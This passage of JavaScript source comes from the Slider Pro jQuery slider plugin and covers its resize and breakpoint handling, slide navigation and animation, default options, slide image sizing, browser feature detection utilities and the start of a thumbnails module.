					lastSlide = this.$slides.find( '.sp-slide' ).eq( this.slidesOrder[ this.slidesOrder.length - 1 ] ),
					lastSlidePosition = parseInt( lastSlide.css( this.positionProperty ), 10 ) + ( this.settings.rightToLeft === true && this.settings.orientation === 'horizontal' ? -1 : 1 ) * parseInt( lastSlide.css( this.sizeProperty ), 10 );
				
				this.slidesSize = Math.abs( lastSlidePosition - firstSlidePosition );
				this.averageSlideSize = Math.round( this.slidesSize / this.slides.length );
			} else {
				this.slidesSize = ( ( this.settings.orientation === 'horizontal' ? this.slideWidth : this.slideHeight ) + this.settings.slideDistance ) * this.slides.length - this.settings.slideDistance;
				this.averageSlideSize = this.settings.orientation === 'horizontal' ? this.slideWidth : this.slideHeight;
			}
		},

		// Called when the slider needs to resize
		resize: function() {
			var that = this;

			// Check if the current window width is bigger than the biggest breakpoint
			// and if necessary reset the properties to the original settings.
			// 
			// If the window width is smaller than a certain breakpoint, apply the settings specified
			// for that breakpoint but only after merging them with the original settings
			// in order to make sure that only the specified settings for the breakpoint are applied
			if ( this.settings.breakpoints !== null && this.breakpoints.length > 0 ) {
				if ( $( window ).width() > this.breakpoints[ this.breakpoints.length - 1 ].size && this.currentBreakpoint !== -1 ) {
					this.currentBreakpoint = -1;
					this._setProperties( this.originalSettings, false );
				} else {
					for ( var i = 0, n = this.breakpoints.length; i < n; i++ ) {
						if ( $( window ).width() <= this.breakpoints[ i ].size ) {
							if ( this.currentBreakpoint !== this.breakpoints[ i ].size ) {
								var eventObject = { type: 'breakpointReach', size: this.breakpoints[ i ].size, settings: this.breakpoints[ i ].properties };
								this.trigger( eventObject );
								if ( $.isFunction( this.settings.breakpointReach ) )
									this.settings.breakpointReach.call( this, eventObject );

								this.currentBreakpoint = this.breakpoints[ i ].size;
								var settings = $.extend( {}, this.originalSettings, this.breakpoints[ i ].properties );
								this._setProperties( settings, false );
								
								return;
							}

							break;
						}
					}
				}
			}

			// Set the width of the main slider container based on whether or not the slider is responsive,
			// full width or full size
			if ( this.settings.responsive === true ) {
				if ( ( this.settings.forceSize === 'fullWidth' || this.settings.forceSize === 'fullWindow' ) &&
					( this.settings.visibleSize === 'auto' || this.settings.visibleSize !== 'auto' && this.settings.orientation === 'vertical' )
				) {
					this.$slider.css( 'margin', 0 );
					this.$slider.css({ 'width': $( window ).width(), 'max-width': '', 'marginLeft': - this.$slider.offset().left });
				} else {
					this.$slider.css({ 'width': '100%', 'max-width': this.settings.width, 'marginLeft': '' });
				}
			} else {
				this.$slider.css({ 'width': this.settings.width });
			}

			// Calculate the aspect ratio of the slider
			if ( this.settings.aspectRatio === -1 ) {
				this.settings.aspectRatio = this.settings.width / this.settings.height;
			}
			
			// Initially set the slide width to the size of the slider.
			// Later, this will be set to less if there are multiple visible slides.
			this.slideWidth = this.$slider.width();

			// Set the height to the same size as the browser window if the slider is set to be 'fullWindow',
			// or calculate the height based on the width and the aspect ratio.
			if ( this.settings.forceSize === 'fullWindow' ) {
				this.slideHeight = $( window ).height();
			} else {
				this.slideHeight = isNaN( this.settings.aspectRatio ) ? this.settings.height : this.slideWidth / this.settings.aspectRatio;
			}

			// Resize the slider only if the size of the slider has changed
			// If it hasn't, return.
			if ( this.previousSlideWidth !== this.slideWidth ||
				this.previousSlideHeight !== this.slideHeight ||
				this.settings.visibleSize !== 'auto' ||
				this.$slider.outerWidth() > this.$slider.parent().width() ||
				this.$slider.width() !== this.$slidesMask.width()
			) {
				this.previousSlideWidth = this.slideWidth;
				this.previousSlideHeight = this.slideHeight;
			} else {
				return;
			}

			this._resizeSlides();

			// Set the initial size of the mask container to the size of an individual slide
			this.$slidesMask.css({ 'width': this.slideWidth, 'height': this.slideHeight });

			// Adjust the height if it's set to 'auto'
			if ( this.settings.autoHeight === true ) {

				// Delay the resizing of the height to allow for other resize handlers
				// to execute first before calculating the final height of the slide
				setTimeout( function() {
					that._resizeHeight();
				}, 1 );
			} else {
				this.$slidesMask.css( this.vendorPrefix + 'transition', '' );
			}

			// The 'visibleSize' option can be set to fixed or percentage size to make more slides
			// visible at a time.
			// By default it's set to 'auto'.
			if ( this.settings.visibleSize !== 'auto' ) {
				if ( this.settings.orientation === 'horizontal' ) {

					// If the size is forced to full width or full window, the 'visibleSize' option will be
					// ignored and the slider will become as wide as the browser window.
					if ( this.settings.forceSize === 'fullWidth' || this.settings.forceSize === 'fullWindow' ) {
						this.$slider.css( 'margin', 0 );
						this.$slider.css({ 'width': $( window ).width(), 'max-width': '', 'marginLeft': - this.$slider.offset().left });
					} else {
						this.$slider.css({ 'width': this.settings.visibleSize, 'max-width': '100%', 'marginLeft': 0 });
					}
					
					this.$slidesMask.css( 'width', this.$slider.width() );
				} else {

					// If the size is forced to full window, the 'visibleSize' option will be
					// ignored and the slider will become as high as the browser window.
					if ( this.settings.forceSize === 'fullWindow' ) {
						this.$slider.css({ 'height': $( window ).height(), 'max-height': '' });
					} else {
						this.$slider.css({ 'height': this.settings.visibleSize, 'max-height': '100%' });
					}

					this.$slidesMask.css( 'height', this.$slider.height() );
				}
			}

			this._resetSlidesPosition();
			this._calculateSlidesSize();

			// Fire the 'sliderResize' event
			this.trigger({ type: 'sliderResize' });
			if ( $.isFunction( this.settings.sliderResize ) ) {
				this.settings.sliderResize.call( this, { type: 'sliderResize' });
			}
		},

		// Resize each individual slide
		_resizeSlides: function() {
			var slideWidth = this.slideWidth,
				slideHeight = this.slideHeight;

			if ( this.settings.autoSlideSize === true ) {
				if ( this.settings.orientation === 'horizontal' ) {
					slideWidth = 'auto';
				} else if ( this.settings.orientation === 'vertical' ) {
					slideHeight = 'auto';
				}
			} else if ( this.settings.autoHeight === true ) {
				slideHeight = 'auto';
			}

			// Loop through the existing slides and reset their size.
			$.each( this.slides, function( index, element ) {
				element.setSize( slideWidth, slideHeight );
			});
		},

		// Resize the height of the slider to the height of the selected slide.
		// It's used when the 'autoHeight' option is set to 'true'.
		_resizeHeight: function() {
			var that = this,
				selectedSlide = this.getSlideAt( this.selectedSlideIndex );

			this._resizeHeightTo( selectedSlide.getSize().height );
		},

		// Open the slide at the specified index
		gotoSlide: function( index ) {
			if ( index === this.selectedSlideIndex || typeof this.slides[ index ] === 'undefined' ) {
				return;
			}

			var that = this;

			this.previousSlideIndex = this.selectedSlideIndex;
			this.selectedSlideIndex = index;

			// Re-assign the 'sp-selected' class to the currently selected slide
			this.$slides.find( '.sp-selected' ).removeClass( 'sp-selected' );
			this.$slides.find( '.sp-slide' ).eq( this.selectedSlideIndex ).addClass( 'sp-selected' );

			// If the slider is loopable reorder the slides to have the selected slide in the middle
			// and update the slides' position.
			if ( this.settings.loop === true ) {
				this._updateSlidesOrder();
				this._updateSlidesPosition();
			}

			// Adjust the height of the slider
			if ( this.settings.autoHeight === true ) {
				this._resizeHeight();
			}

			var selectedSlideOffset = this.settings.centerSelectedSlide === true && this.settings.visibleSize !== 'auto' ? Math.round( ( parseInt( this.$slidesMask.css( this.sizeProperty ), 10 ) - this.getSlideAt( this.selectedSlideIndex ).getSize()[ this.sizeProperty ] ) / 2 ) : 0,
				newSlidesPosition = - parseInt( this.$slides.find( '.sp-slide' ).eq( this.selectedSlideIndex ).css( this.positionProperty ), 10 ) + selectedSlideOffset;

			// Move the slides container to the new position
			this._moveTo( newSlidesPosition, false, function() {
				that._resetSlidesPosition();

				// Fire the 'gotoSlideComplete' event
				that.trigger({ type: 'gotoSlideComplete', index: index, previousIndex: that.previousSlideIndex });
				if ( $.isFunction( that.settings.gotoSlideComplete ) ) {
					that.settings.gotoSlideComplete.call( that, { type: 'gotoSlideComplete', index: index, previousIndex: that.previousSlideIndex } );
				}
			});

			// Fire the 'gotoSlide' event
			this.trigger({ type: 'gotoSlide', index: index, previousIndex: this.previousSlideIndex });
			if ( $.isFunction( this.settings.gotoSlide ) ) {
				this.settings.gotoSlide.call( this, { type: 'gotoSlide', index: index, previousIndex: this.previousSlideIndex } );
			}
		},

		// Open the next slide
		nextSlide: function() {
			var index = ( this.selectedSlideIndex >= this.getTotalSlides() - 1 ) ? 0 : ( this.selectedSlideIndex + 1 );
			this.gotoSlide( index );
		},

		// Open the previous slide
		previousSlide: function() {
			var index = this.selectedSlideIndex <= 0 ? ( this.getTotalSlides() - 1 ) : ( this.selectedSlideIndex - 1 );
			this.gotoSlide( index );
		},

		// Move the slides container to the specified position.
		// The movement can be instant or animated.
		_moveTo: function( position, instant, callback ) {
			var that = this,
				css = {};

			if ( position === this.slidesPosition ) {
				return;
			}
			
			this.slidesPosition = position;
			
			if ( ( this.supportedAnimation === 'css-3d' || this.supportedAnimation === 'css-2d' ) && this.isIE === false ) {
				var transition,
					left = this.settings.orientation === 'horizontal' ? position : 0,
					top = this.settings.orientation === 'horizontal' ? 0 : position;

				if ( this.supportedAnimation === 'css-3d' ) {
					css[ this.vendorPrefix + 'transform' ] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';
				} else {
					css[ this.vendorPrefix + 'transform' ] = 'translate(' + left + 'px, ' + top + 'px)';
				}

				if ( typeof instant !== 'undefined' && instant === true ) {
					transition = '';
				} else {
					this.$slides.addClass( 'sp-animated' );
					transition = this.vendorPrefix + 'transform ' + this.settings.slideAnimationDuration / 1000 + 's';

					this.$slides.on( this.transitionEvent, function( event ) {
						if ( event.target !== event.currentTarget ) {
							return;
						}

						that.$slides.off( that.transitionEvent );
						that.$slides.removeClass( 'sp-animated' );
						
						if ( typeof callback === 'function' ) {
							callback();
						}
					});
				}

				css[ this.vendorPrefix + 'transition' ] = transition;

				this.$slides.css( css );
			} else {
				css[ 'margin-' + this.positionProperty ] = position;

				if ( typeof instant !== 'undefined' && instant === true ) {
					this.$slides.css( css );
				} else {
					this.$slides.addClass( 'sp-animated' );
					this.$slides.animate( css, this.settings.slideAnimationDuration, function() {
						that.$slides.removeClass( 'sp-animated' );

						if ( typeof callback === 'function' ) {
							callback();
						}
					});
				}
			}
		},

		// Stop the movement of the slides
		_stopMovement: function() {
			var css = {};

			if ( ( this.supportedAnimation === 'css-3d' || this.supportedAnimation === 'css-2d' ) && this.isIE === false) {

				// Get the current position of the slides by parsing the 'transform' property
				var	matrixString = this.$slides.css( this.vendorPrefix + 'transform' ),
					matrixType = matrixString.indexOf( 'matrix3d' ) !== -1 ? 'matrix3d' : 'matrix',
					matrixArray = matrixString.replace( matrixType, '' ).match( /-?[0-9\.]+/g ),
					left = matrixType === 'matrix3d' ? parseInt( matrixArray[ 12 ], 10 ) : parseInt( matrixArray[ 4 ], 10 ),
					top = matrixType === 'matrix3d' ? parseInt( matrixArray[ 13 ], 10 ) : parseInt( matrixArray[ 5 ], 10 );
					
				// Set the transform property to the value that the transform had when the function was called
				if ( this.supportedAnimation === 'css-3d' ) {
					css[ this.vendorPrefix + 'transform' ] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';
				} else {
					css[ this.vendorPrefix + 'transform' ] = 'translate(' + left + 'px, ' + top + 'px)';
				}

				css[ this.vendorPrefix + 'transition' ] = '';

				this.$slides.css( css );
				this.$slides.off( this.transitionEvent );
				this.slidesPosition = this.settings.orientation === 'horizontal' ? left : top;
			} else {
				this.$slides.stop();
				this.slidesPosition = parseInt( this.$slides.css( 'margin-' + this.positionProperty ), 10 );
			}

			this.$slides.removeClass( 'sp-animated' );
		},

		// Resize the height of the slider to the specified value
		_resizeHeightTo: function( height ) {
			var that = this,
				css = { 'height': height };

			if ( this.supportedAnimation === 'css-3d' || this.supportedAnimation === 'css-2d' ) {
				css[ this.vendorPrefix + 'transition' ] = 'height ' + this.settings.heightAnimationDuration / 1000 + 's';

				this.$slidesMask.off( this.transitionEvent );
				this.$slidesMask.on( this.transitionEvent, function( event ) {
					if ( event.target !== event.currentTarget ) {
						return;
					}

					that.$slidesMask.off( that.transitionEvent );

					// Fire the 'resizeHeightComplete' event
					that.trigger({ type: 'resizeHeightComplete' });
					if ( $.isFunction( that.settings.resizeHeightComplete ) ) {
						that.settings.resizeHeightComplete.call( that, { type: 'resizeHeightComplete' } );
					}
				});

				this.$slidesMask.css( css );
			} else {
				this.$slidesMask.stop().animate( css, this.settings.heightAnimationDuration, function( event ) {
					// Fire the 'resizeHeightComplete' event
					that.trigger({ type: 'resizeHeightComplete' });
					if ( $.isFunction( that.settings.resizeHeightComplete ) ) {
						that.settings.resizeHeightComplete.call( that, { type: 'resizeHeightComplete' } );
					}
				});
			}
		},

		// Destroy the slider instance
		destroy: function() {
			// Remove the stored reference to this instance
			this.$slider.removeData( 'sliderPro' );
			
			// Clean the CSS
			this.$slider.removeAttr( 'style' );
			this.$slides.removeAttr( 'style' );

			// Remove event listeners
			this.off( 'update.' + NS );
			$( window ).off( 'resize.' + this.uniqueId + '.' + NS );

			// Destroy modules
			var modules = $.SliderPro.modules;

			if ( typeof modules !== 'undefined' ) {
				for ( var i = 0; i < modules.length; i++ ) {
					if ( typeof this[ 'destroy' + modules[ i ] ] !== 'undefined' ) {
						this[ 'destroy' + modules[ i ] ]();
					}
				}
			}

			// Destroy all slides
			$.each( this.slides, function( index, element ) {
				element.destroy();
			});

			this.slides.length = 0;

			// Move the slides to their initial position in the DOM and 
			// remove the container elements created dynamically.
			this.$slides.prependTo( this.$slider );
			this.$slidesContainer.remove();
		},

		// Set properties on runtime
		_setProperties: function( properties, store ) {
			// Parse the properties passed as an object
			for ( var prop in properties ) {
				this.settings[ prop ] = properties[ prop ];

				// Alter the original settings as well unless 'false' is passed to the 'store' parameter
				if ( store !== false ) {
					this.originalSettings[ prop ] = properties[ prop ];
				}
			}

			this.update();
		},

		// Attach an event handler to the slider
		on: function( type, callback ) {
			return this.$slider.on( type, callback );
		},

		// Detach an event handler
		off: function( type ) {
			return this.$slider.off( type );
		},

		// Trigger an event on the slider
		trigger: function( data ) {
			return this.$slider.triggerHandler( data );
		},

		// Return the slide at the specified index
		getSlideAt: function( index ) {
			return this.slides[ index ];
		},

		// Return the index of the currently opened slide
		getSelectedSlide: function() {
			return this.selectedSlideIndex;
		},

		// Return the total amount of slides
		getTotalSlides: function() {
			return this.slides.length;
		},

		// The default options of the slider
		defaults: {
			// Width of the slide
			width: 500,

			// Height of the slide
			height: 300,

			// Indicates if the slider is responsive
			responsive: true,

			// The aspect ratio of the slider (width/height)
			aspectRatio: -1,

			// The scale mode for images (cover, contain, exact and none)
			imageScaleMode: 'cover',

			// Indicates if the image will be centered
			centerImage: true,

			// Indicates if the image can be scaled up more than its original size
			allowScaleUp: true,

			// Indicates if height of the slider will be adjusted to the
			// height of the selected slide
			autoHeight: false,

			// Will maintain all the slides at the same height, but will allow the width
			// of the slides to be variable if the orientation of the slides is horizontal
			// and vice-versa if the orientation is vertical
			autoSlideSize: false,

			// Indicates the initially selected slide
			startSlide: 0,

			// Indicates if the slides will be shuffled
			shuffle: false,

			// Indicates whether the slides will be arranged horizontally
			// or vertically. Can be set to 'horizontal' or 'vertical'.
			orientation: 'horizontal',

			// Indicates if the size of the slider will be forced to 'fullWidth' or 'fullWindow'
			forceSize: 'none',

			// Indicates if the slider will be loopable
			loop: true,

			// The distance between slides
			slideDistance: 10,

			// The duration of the slide animation
			slideAnimationDuration: 700,

			// The duration of the height animation
			heightAnimationDuration: 700,

			// Sets the size of the visible area, allowing the increase of it in order
			// to make more slides visible.
			// By default, only the selected slide will be visible. 
			visibleSize: 'auto',

			// Indicates whether the selected slide will be in the center of the slider, when there
			// are more slides visible at a time. If set to false, the selected slide will be in the
			// left side of the slider.
			centerSelectedSlide: true,

			// Indicates if the direction of the slider will be from right to left,
			// instead of the default left to right
			rightToLeft: false,

			// Breakpoints for allowing the slider's options to be changed
			// based on the size of the window.
			breakpoints: null,

			// Called when the slider is initialized
			init: function() {},

			// Called when the slider is updates
			update: function() {},

			// Called when the slider is resized
			sliderResize: function() {},

			// Called when a new slide is selected
			gotoSlide: function() {},

			// Called when the navigation to the newly selected slide is complete
			gotoSlideComplete: function() {},

			// Called when the height animation of the slider is complete
			resizeHeightComplete: function() {},

			// Called when a breakpoint is reached
			breakpointReach: function() {}
		}
	};

	var SliderProSlide = function( slide, index, settings ) {

		// Reference to the slide jQuery element
		this.$slide = slide;

		// Reference to the main slide image
		this.$mainImage = null;

		// Reference to the container that will hold the main image
		this.$imageContainer = null;

		// Indicates whether the slide has a main image
		this.hasMainImage = false;

		// Indicates whether the main image is loaded
		this.isMainImageLoaded = false;

		// Indicates whether the main image is in the process of being loaded
		this.isMainImageLoading = false;

		// Indicates whether the slide has any image. There could be other images (i.e., in layers)
		// besides the main slide image.
		this.hasImages = false;

		// Indicates if all the images in the slide are loaded
		this.areImagesLoaded = false;

		// Indicates if the images inside the slide are in the process of being loaded
		this.areImagesLoading = false;

		// The width and height of the slide
		this.width = 0;
		this.height = 0;

		// Reference to the global settings of the slider
		this.settings = settings;

		// Set the index of the slide
		this.setIndex( index );

		// Initialize the slide
		this._init();
	};

	SliderProSlide.prototype = {

		// The starting point for the slide
		_init: function() {
			var that = this;

			// Mark the slide as initialized
			this.$slide.attr( 'data-init', true );

			// Get the main slide image if there is one
			this.$mainImage = this.$slide.find( '.sp-image' ).length !== 0 ? this.$slide.find( '.sp-image' ) : null;

			// If there is a main slide image, create a container for it and add the image to this container.
			// The container will allow the isolation of the image from the rest of the slide's content. This is
			// helpful when you want to show some content below the image and not cover it.
			if ( this.$mainImage !== null ) {
				this.hasMainImage = true;

				this.$imageContainer = $( '<div class="sp-image-container"></div>' ).prependTo( this.$slide );

				if ( this.$mainImage.parent( 'a' ).length !== 0 ) {
					this.$mainImage.parent( 'a' ).appendTo( this.$imageContainer );
				} else {
					this.$mainImage.appendTo( this.$imageContainer );
				}
			}

			this.hasImages = this.$slide.find( 'img' ).length !== 0 ? true : false;
		},

		// Set the size of the slide
		setSize: function( width, height ) {
			var that = this;

			this.width = width;
			this.height = height;

			this.$slide.css({
				'width': this.width,
				'height': this.height
			});

			if ( this.hasMainImage === true ) {

				// Initially set the width and height of the container to the width and height
				// specified in the settings. This will prevent content overflowing if the width or height
				// are 'auto'. The 'auto' value will be passed only after the image is loaded.
				this.$imageContainer.css({
					'width': this.settings.width,
					'height': this.settings.height
				});

				// Resize the main image if it's loaded. If the 'data-src' attribute is present it means
				// that the image will be lazy-loaded
				if ( typeof this.$mainImage.attr( 'data-src' ) === 'undefined' ) {
					this.resizeMainImage();
				}
			}
		},

		// Get the size (width and height) of the slide
		getSize: function() {
			var that = this,
				size;

			// Check if all images have loaded, and if they have, return the size, else, return
			// the original width and height of the slide
			if ( this.hasImages === true && this.areImagesLoaded === false && this.areImagesLoading === false ) {
				this.areImagesLoading = true;
				
				var status = SliderProUtils.checkImagesStatus( this.$slide );

				if ( status !== 'complete' ) {
					SliderProUtils.checkImagesComplete( this.$slide, function() {
						that.areImagesLoaded = true;
						that.areImagesLoading = false;
						that.trigger({ type: 'imagesLoaded.' + NS, index: that.index });
					});

					// if the image is not loaded yet, return the original width and height of the slider
					return {
						'width': this.settings.width,
						'height': this.settings.height
					};
				}
			}

			size = this.calculateSize();

			return {
				'width': size.width,
				'height': size.height
			};
		},

		// Calculate the width and height of the slide by going
		// through all the child elements and measuring their 'bottom'
		// and 'right' properties. The element with the biggest
		// 'right'/'bottom' property will determine the slide's
		// width/height.
		calculateSize: function() {
			var width = this.$slide.width(),
				height = this.$slide.height();

			this.$slide.children().each(function( index, element ) {
				var child = $( element );

				if ( child.is( ':hidden' ) === true ) {
					return;
				}

				var	rect = element.getBoundingClientRect(),
					bottom = child.position().top + ( rect.bottom - rect.top ),
					right = child.position().left + ( rect.right - rect.left );

				if ( bottom > height ) {
					height = bottom;
				}

				if ( right > width ) {
					width = right;
				}
			});

			return {
				width: width,
				height: height
			};
		},

		// Resize the main image.
		// 
		// Call this when the slide resizes or when the main image has changed to a different image.
		resizeMainImage: function( isNewImage ) {
			var that = this;

			// If the main image has changed, reset the 'flags'
			if ( isNewImage === true ) {
				this.isMainImageLoaded = false;
				this.isMainImageLoading = false;
			}

			// If the image was not loaded yet and it's not in the process of being loaded, load it
			if ( this.isMainImageLoaded === false && this.isMainImageLoading === false ) {
				this.isMainImageLoading = true;

				SliderProUtils.checkImagesComplete( this.$mainImage, function() {
					that.isMainImageLoaded = true;
					that.isMainImageLoading = false;
					that.resizeMainImage();
					that.trigger({ type: 'imagesLoaded.' + NS, index: that.index });
				});

				return;
			}

			// Set the size of the image container element to the proper 'width' and 'height'
			// values, as they were calculated. Previous values were the 'width' and 'height'
			// from the settings. 
			this.$imageContainer.css({
				'width': this.width,
				'height': this.height
			});

			if ( this.settings.allowScaleUp === false ) {
				// reset the image to its natural size
				this.$mainImage.css({ 'width': '', 'height': '', 'maxWidth': '', 'maxHeight': '' });

				// set the boundaries
				this.$mainImage.css({ 'maxWidth': this.$mainImage.width(), 'maxHeight': this.$mainImage.height() });
			}

			// After the main image has loaded, resize it
			if ( this.settings.autoSlideSize === true ) {
				if ( this.settings.orientation === 'horizontal' ) {
					this.$mainImage.css({ width: 'auto', height: '100%' });

					// resize the slide's width to a fixed value instead of 'auto', to
					// prevent incorrect sizing caused by links added to the main image
					this.$slide.css( 'width', this.$mainImage.width() );
				} else if ( this.settings.orientation === 'vertical' ) {
					this.$mainImage.css({ width: '100%', height: 'auto' });

					// resize the slide's height to a fixed value instead of 'auto', to
					// prevent incorrect sizing caused by links added to the main image
					this.$slide.css( 'height', this.$mainImage.height() );
				}
			} else if ( this.settings.autoHeight === true ) {
				this.$mainImage.css({ width: '100%', height: 'auto' });
			} else {
				if ( this.settings.imageScaleMode === 'cover' ) {
					if ( this.$mainImage.width() / this.$mainImage.height() <= this.$slide.width() / this.$slide.height() ) {
						this.$mainImage.css({ width: '100%', height: 'auto' });
					} else {
						this.$mainImage.css({ width: 'auto', height: '100%' });
					}
				} else if ( this.settings.imageScaleMode === 'contain' ) {
					if ( this.$mainImage.width() / this.$mainImage.height() >= this.$slide.width() / this.$slide.height() ) {
						this.$mainImage.css({ width: '100%', height: 'auto' });
					} else {
						this.$mainImage.css({ width: 'auto', height: '100%' });
					}
				} else if ( this.settings.imageScaleMode === 'exact' ) {
					this.$mainImage.css({ width: '100%', height: '100%' });
				}

				if ( this.settings.centerImage === true ) {
					this.$mainImage.css({ 'marginLeft': ( this.$imageContainer.width() - this.$mainImage.width() ) * 0.5, 'marginTop': ( this.$imageContainer.height() - this.$mainImage.height() ) * 0.5 });
				}
			}
		},

		// Destroy the slide
		destroy: function() {
			// Clean the slide element from attached styles and data
			this.$slide.removeAttr( 'style' );
			this.$slide.removeAttr( 'data-init' );
			this.$slide.removeAttr( 'data-index' );
			this.$slide.removeAttr( 'data-loaded' );

			// If there is a main image, remove its container
			if ( this.hasMainImage === true ) {
				this.$slide.find( '.sp-image' )
					.removeAttr( 'style' )
					.appendTo( this.$slide );

				this.$slide.find( '.sp-image-container' ).remove();
			}
		},

		// Return the index of the slide
		getIndex: function() {
			return this.index;
		},

		// Set the index of the slide
		setIndex: function( index ) {
			this.index = index;
			this.$slide.attr( 'data-index', this.index );
		},

		// Attach an event handler to the slide
		on: function( type, callback ) {
			return this.$slide.on( type, callback );
		},

		// Detach an event handler to the slide
		off: function( type ) {
			return this.$slide.off( type );
		},

		// Trigger an event on the slide
		trigger: function( data ) {
			return this.$slide.triggerHandler( data );
		}
	};

	window.SliderPro = SliderPro;
	window.SliderProSlide = SliderProSlide;

	$.fn.sliderPro = function( options ) {
		var args = Array.prototype.slice.call( arguments, 1 );

		return this.each(function() {
			// Instantiate the slider or alter it
			if ( typeof $( this ).data( 'sliderPro' ) === 'undefined' ) {
				var newInstance = new SliderPro( this, options );

				// Store a reference to the instance created
				$( this ).data( 'sliderPro', newInstance );
			} else if ( typeof options !== 'undefined' ) {
				var	currentInstance = $( this ).data( 'sliderPro' );

				// Check the type of argument passed
				if ( typeof currentInstance[ options ] === 'function' ) {
					currentInstance[ options ].apply( currentInstance, args );
				} else if ( typeof currentInstance.settings[ options ] !== 'undefined' ) {
					var obj = {};
					obj[ options ] = args[ 0 ];
					currentInstance._setProperties( obj );
				} else if ( typeof options === 'object' ) {
					currentInstance._setProperties( options );
				} else {
					$.error( options + ' does not exist in sliderPro.' );
				}
			}
		});
	};

	// Contains useful utility functions
	var SliderProUtils = {

		// Indicates what type of animations are supported in the current browser
		// Can be CSS 3D, CSS 2D or JavaScript
		supportedAnimation: null,

		// Indicates the required vendor prefix for the current browser
		vendorPrefix: null,

		// Indicates the name of the transition's complete event for the current browser
		transitionEvent: null,

		// Indicates if the current browser is Internet Explorer (any version)
		isIE: null,

		// Check whether CSS3 3D or 2D transforms are supported. If they aren't, use JavaScript animations
		getSupportedAnimation: function() {
			if ( this.supportedAnimation !== null ) {
				return this.supportedAnimation;
			}

			var element = document.body || document.documentElement,
				elementStyle = element.style,
				isCSSTransitions = typeof elementStyle.transition !== 'undefined' ||
									typeof elementStyle.WebkitTransition !== 'undefined' ||
									typeof elementStyle.MozTransition !== 'undefined' ||
									typeof elementStyle.OTransition !== 'undefined';

			if ( isCSSTransitions === true ) {
				var div = document.createElement( 'div' );

				// Check if 3D transforms are supported
				if ( typeof div.style.WebkitPerspective !== 'undefined' || typeof div.style.perspective !== 'undefined' ) {
					this.supportedAnimation = 'css-3d';
				}

				// Additional checks for Webkit
				if ( this.supportedAnimation === 'css-3d' && typeof div.styleWebkitPerspective !== 'undefined' ) {
					var style = document.createElement( 'style' );
					style.textContent = '@media (transform-3d),(-webkit-transform-3d){#test-3d{left:9px;position:absolute;height:5px;margin:0;padding:0;border:0;}}';
					document.getElementsByTagName( 'head' )[0].appendChild( style );

					div.id = 'test-3d';
					document.body.appendChild( div );

					if ( ! ( div.offsetLeft === 9 && div.offsetHeight === 5 ) ) {
						this.supportedAnimation = null;
					}

					style.parentNode.removeChild( style );
					div.parentNode.removeChild( div );
				}

				// If CSS 3D transforms are not supported, check if 2D transforms are supported
				if ( this.supportedAnimation === null && ( typeof div.style['-webkit-transform'] !== 'undefined' || typeof div.style.transform !== 'undefined' ) ) {
					this.supportedAnimation = 'css-2d';
				}
			} else {
				this.supportedAnimation = 'javascript';
			}
			
			return this.supportedAnimation;
		},

		// Check what vendor prefix should be used in the current browser
		getVendorPrefix: function() {
			if ( this.vendorPrefix !== null ) {
				return this.vendorPrefix;
			}

			var div = document.createElement( 'div' ),
				prefixes = [ 'Webkit', 'Moz', 'ms', 'O' ];
			
			if ( 'transform' in div.style ) {
				this.vendorPrefix = '';
				return this.vendorPrefix;
			}
			
			for ( var i = 0; i < prefixes.length; i++ ) {
				if ( ( prefixes[ i ] + 'Transform' ) in div.style ) {
					this.vendorPrefix = '-' + prefixes[ i ].toLowerCase() + '-';
					break;
				}
			}
			
			return this.vendorPrefix;
		},

		// Check the name of the transition's complete event in the current browser
		getTransitionEvent: function() {
			if ( this.transitionEvent !== null ) {
				return this.transitionEvent;
			}

			var div = document.createElement( 'div' ),
				transitions = {
					'transition': 'transitionend',
					'WebkitTransition': 'webkitTransitionEnd',
					'MozTransition': 'transitionend',
					'OTransition': 'oTransitionEnd'
				};

			for ( var transition in transitions ) {
				if ( transition in div.style ) {
					this.transitionEvent = transitions[ transition ];
					break;
				}
			}

			return this.transitionEvent;
		},

		// If a single image is passed, check if it's loaded.
		// If a different element is passed, check if there are images
		// inside it, and check if these images are loaded.
		checkImagesComplete: function( target, callback ) {
			var that = this,

				// Check the initial status of the image(s)
				status = this.checkImagesStatus( target );

			// If there are loading images, wait for them to load.
			// If the images are loaded, call the callback function directly.
			if ( status === 'loading' ) {
				var checkImages = setInterval(function() {
					status = that.checkImagesStatus( target );

					if ( status === 'complete' ) {
						clearInterval( checkImages );

						if ( typeof callback === 'function' ) {
							callback();
						}
					}
				}, 100 );
			} else if ( typeof callback === 'function' ) {
				callback();
			}

			return status;
		},

		checkImagesStatus: function( target ) {
			var status = 'complete';

			if ( target.is( 'img' ) && target[0].complete === false ) {
				status = 'loading';
			} else {
				target.find( 'img' ).each(function( index ) {
					var image = $( this )[0];

					if ( image.complete === false ) {
						status = 'loading';
					}
				});
			}

			return status;
		},

		checkIE: function() {
			if ( this.isIE !== null ) {
				return this.isIE;
			}

			var userAgent = window.navigator.userAgent,
				msie = userAgent.indexOf( 'MSIE' );

			if ( userAgent.indexOf( 'MSIE' ) !== -1 || userAgent.match( /Trident.*rv\:11\./ ) ) {
				this.isIE = true;
			} else {
				this.isIE = false;
			}

			return this.isIE;
		}
	};

	window.SliderProUtils = SliderProUtils;

})( window, jQuery );

// Thumbnails module for Slider Pro.
// 
// Adds the possibility to create a thumbnail scroller, each thumbnail
// corresponding to a slide.
;(function( window, $ ) {

	"use strict";

	var NS = 'Thumbnails.' + $.SliderPro.namespace;

	var Thumbnails = {

		// Reference to the thumbnail scroller 
		$thumbnails: null,

		// Reference to the container of the thumbnail scroller
		$thumbnailsContainer: null,

		// List of Thumbnail objects
		thumbnails: null,

		// Index of the selected thumbnail
		selectedThumbnailIndex: 0,

		// Total size (width or height, depending on the orientation) of the thumbnails
		thumbnailsSize: 0,

		// Size of the thumbnail's container
		thumbnailsContainerSize: 0,

		// The position of the thumbnail scroller inside its container
		thumbnailsPosition: 0,

		// Orientation of the thumbnails
		thumbnailsOrientation: null,

		// Indicates the 'left' or 'top' position based on the orientation of the thumbnails
		thumbnailsPositionProperty: null,

		// Indicates if there are thumbnails in the slider
		isThumbnailScroller: false,

		initThumbnails: function() {
			var that = this;

			this.thumbnails = [];

			this.on( 'update.' + NS, $.proxy( this._thumbnailsOnUpdate, this ) );
			this.on( 'sliderResize.' + NS, $.proxy( this._thumbnailsOnResize, this ) );
			this.on( 'gotoSlide.' + NS, function( event ) {
				that._gotoThumbnail( event.index );
			});
		},

		// Called when the slider is updated
		_thumbnailsOnUpdate: function() {
			var that = this;

